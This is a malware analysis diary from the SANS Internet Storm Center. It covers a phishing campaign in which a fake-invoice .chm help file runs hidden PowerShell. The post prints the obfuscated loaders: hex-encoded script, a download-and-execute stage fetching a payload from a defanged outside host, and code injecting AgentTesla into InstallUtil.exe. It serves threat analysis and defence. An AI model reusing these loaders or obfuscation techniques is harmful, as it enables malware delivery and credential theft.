Attackers have plenty of resources to infect our systems. If some files may look suspicious because the extension is less common (like .xsl files[1]), others look really safe and make the victim confident to open it. I spotted a phishing campaign that delivers a fake invoice. The attached file is a classic ZIP archive but it contains a .chm file: a Microsoft compiled HTML Help file[2]. The file is named “INV00620224400.chm” (sha256:af9fe480abc56cf1e1354eb243ec9f5bee9cac0d75df38249d1c64236132ceab) and has a current VT score of 27/59[3].If you open this file, you will get a normal help file (.chm extension is handled by the c:windowshh.exe tool).
But you will see that a Powershell window is popping up for a few seconds and disappears. Let’s have a look at the file. You can handle .chm files with 7Zip and browse their content:
The sub-directories starting with “$” and the files starting with “#” are standard files in such files but let’s have a look at the file called “sdf48df.htm”. As usual, Microsoft provides tools and file formats that are able to work with dynamic content. This is true for help files that can embed Javascript code. Here is the content of the .htm file:
var kldfdf='|!3C|!68|!74|!6D|!6C|!3E|!0A|!3C|!74|!69|!74|!6C|!65|!3E|!20|!43|!75|!73|!74|!6F|!6D|!65|!72|!20|
!73|!65|!72|!76|!69|!63|!65|!20|!3C|!2F|!74|!69|!74|!6C|!65|!3E|!0A|!3C|!68|!65|!61|!64|!3E|!0A|!3C|!2F|!68|!65|
!61|!64|!3E|!0A|!3C|!62|!6F|!64|!79|!3E|!0A|!0A|!3C|!68|!32|!20|!61|!6C|!69|!67|!6E|!3D|!63|!65|!6E|!74|!65|!6F|
[...code removed...]
!72|!45|!61|!63|!68|!2D|!4F|!62|!6A|!65|!63|!74|!20|!7B|!28|!20|!5B|!43|!6F|!6E|!76|!65|!72|!74|!5D|!3A|!3A|!54|!6F|!49|!6E|!74|!31|!36|!28|!28|!5B|!53|!74|!72|!69|!6E|!67|!5D|!24|!5F|!20|!29|!2C|!20|!38|!29|!20|!2D|!41|!73|!5B|!43|!68|!61|!72|!5D|!29|!7D|!29|!29|!22|!3E|!0A|!0A|!0A|!3C|!2F|!4F|!42|!4A|!45|!43|!54|!3E|!0A|!0A|!3C|!53|!43|!52|!49|!50|!54|!3E|!0A|!73|!68|!6F|!72|!74|!63|!75|!74|!2E|!43|!6C|!69|!63|!6B|!28|!29|!3B|!0A|!3C|!2F|!53|!43|!52|!49|!50|!54|!3E|!0A|!0A';
var fkodflg =bb0df4(kldfdf)
document.write(unescape(fkodflg));
function bb0df4(str) {
return str.split("|!").join("%");
}
The variable kldfdf is easy to decode (it’s just a hex-encoded chunk of data):
Customer service Customer service
Please Wait...
shortcut.Click();
How is the Powershell script executed? An object shortcut is created with the parameter Item1 containing the command to execute. The trick is to use the method Click() on the object to make it automatically executed without the user’s interaction[4].
Here is the decoded Powershell new script:
$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $p22;
$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|I`E`X;[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');
do {
$ping = test-connection -comp google.com -count 1 -Quiet
} until ($ping);
$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Dow' + 'nlo' + 'adS' + 'tring',[Microsoft.VisualBasic.CallType]::Method,'hxxp://hera[.]lt/Delta2.jpg');
$asciiChars= $mv.split('^') |ForEach-Object {[char][byte]"0x$_"};
$VV0DF44F= $asciiChars -join '';
IEX($VV0DF44F)
This code downloads a fake picture (hxxp://hera[.]lt/Delta2.jpg) that contains another Powershell script. This one will drop and execute the malware on the infected system:
$e00fgfg4=(-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))
sal c0d4s75 $e00fgfg4
function AfdEYmOP {
param($GjruFEh)
$GjruFEh = $GjruFEh -split '(..)' | ? { $_ }
ForEach ($aYLEzWVc in $GjruFEh) {
[Convert]::ToInt32($aYLEzWVc,16)
}
}
[String]$vhghWAdfB='4D5A9@!@!3@!@!@!04@!@!@!FFFF@!@!B8@!@!@!@!@!@!@!4@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@ !@!@!@!@!@!@!@!@!@!@!@!@!@!08@!@!@!@!E1FBA0E@!B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072 756E20696E20444F53206D6F64652E0D0D0A24@!@!@!@!@!@!@!5045@!@!4C0103@!46D6196@!@!@!@!@!@!@!@!0E@!@!E210B0108@!@!62 01@!@!06@!@!@!@!@!@!7E8@!1@!@!2@!@!@!0A@!1@!@!@!4@!@!02@!@!@!@!2@!@!04@!@!@!@!@!@!@!04@!@!@!@!@!@!@!@!E@!1@!@!02 [...code removed...] !@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@ !@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@ !@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@ !@!@!0'.replace('@!','00') [Byte[]]$lqct=AfdEYmOP $vhghWAdfB $j1e0d='[System.Ap@@#>@#<<<<>><@#<<<<>><@#<<<<>><@#<<<<>><@#<<<<>><@#<<<<>><<||||@!!!!!!!@@@@@@@@@','ad')
$jhugrdtf| c0d4s75
[Byte[]]$lkgY2= AfdEYmOP $lkgY
[YESS]::f77df00sd('InstallUtil.exe',$lkgY2)
The first dumped file is a DLL (sha256:88774EAD57918BF293205D038402BD64FF6504D1CB1B72DBA2B50061DFE88C79). The second one is a PE file (sha256:39ecb2d1c2a4aa01e62effc56bb27ee8d1fe34ec43e5c99ee0b138410cfa2ca9). Both are unknown on VT. The DLL provides the [YESS]::f77df00sd function that presumably injects the PE file into a copy of InstallUtil.exe (a tool included in the Microsoft .Net framework). The PE file is a classic AgentTesla!
[1] https://isc.sans.edu/forums/diary/New+Example+of+XSL+Script+Processing+aka+Mitre+T1220/27056/
[2] https://en.wikipedia.org/wiki/Microsoft_Compiled_HTML_Help
[3] https://www.virustotal.com/gui/file/af9fe480abc56cf1e1354eb243ec9f5bee9cac0d75df38249d1c64236132ceab/detection
[4] https://docs.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/click-and-hhclick-method
Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
